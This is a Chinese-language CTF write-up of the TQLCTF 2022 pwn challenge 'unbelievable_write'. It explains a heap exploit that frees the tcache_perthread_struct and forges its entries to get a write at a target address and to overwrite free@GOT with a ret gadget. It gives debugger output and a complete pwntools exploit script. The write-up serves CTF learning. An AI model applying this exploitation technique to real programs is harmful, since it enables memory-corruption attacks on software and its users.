TQLCTF 2022
PWN
unbelievable_write
有一次机会可以free堆上任意的一个地址:
void c2()
{
__int64 v0; // rbx
int offset; // eax
if ( golden == 1 )
{
golden = 0LL;
v0 = ptr;
offset = read_int(); // offset 可以是负数
free((void *)(v0 + offset));
}
else
{
puts("no!");
}
}
思路就是把保存 tcache_perthread_struct
的chunk给释放掉,然后篡改里面的 counts
字段和 entries
字段,找一个 entry
直接指向 target(0x404080)
,然后直接分配对应大小的chunk,实现修改target。
pwndbg> heap
Allocated chunk | PREV_INUSE <-- 这个
Addr: 0x405000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x405290
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x4052b0
Size: 0x20d51
另外,为了绕过 free
函数对target的检查,需要取消掉 free。可以将 free@got
修改成 *retn + *endbr64
,后面加 endbr64
那段gadget是因为我们的输入会附带一个 ‘\n’,但是 free@got
的后面又必须要这段gadget。
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 11
[0x404018] free@GLIBC_2.2.5 -> 0x401030 ◂— endbr64
[0x404020] puts@GLIBC_2.2.5 -> 0x401040 ◂— endbr64
[0x404028] write@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
......
.plt:0000000000401040 sub_401040 proc near
.plt:0000000000401040 endbr64
.plt:0000000000401044 push 1
.plt:0000000000401049 bnd jmp sub_401020
.plt:0000000000401049 sub_401040 endp
- EXP
from pwn import * context(log_level = 'debug', terminal = ['tmux', 'sp', '-h'], binary = './pwn', arch = 'amd64') p = process('./pwn') elf = ELF('./pwn') def cho(ind): p.recvuntil(b'> ') p.sendline('{}'.format(ind).encode()) def add(sz, payload): cho(1) p.sendline('{}'.format(sz).encode()) p.sendline(payload) free_got = elf.got['free'] cho(2) p.sendline('{}'.format(-0x290).encode()) # 0x100, 0x110 payload = p16(0)*15 + p16(1)*2 + p16(0)*(0x40-17) + p64(0)*0xf + p64(0x404080) + p64(free_got) add(0x280, payload) retn = 0x4014C3 endbr64 = 0x401040 add(0x110, p64(retn)+p64(endbr64)) add(0x100, p64(0)) gdb.attach(p) cho(3) p.interactive()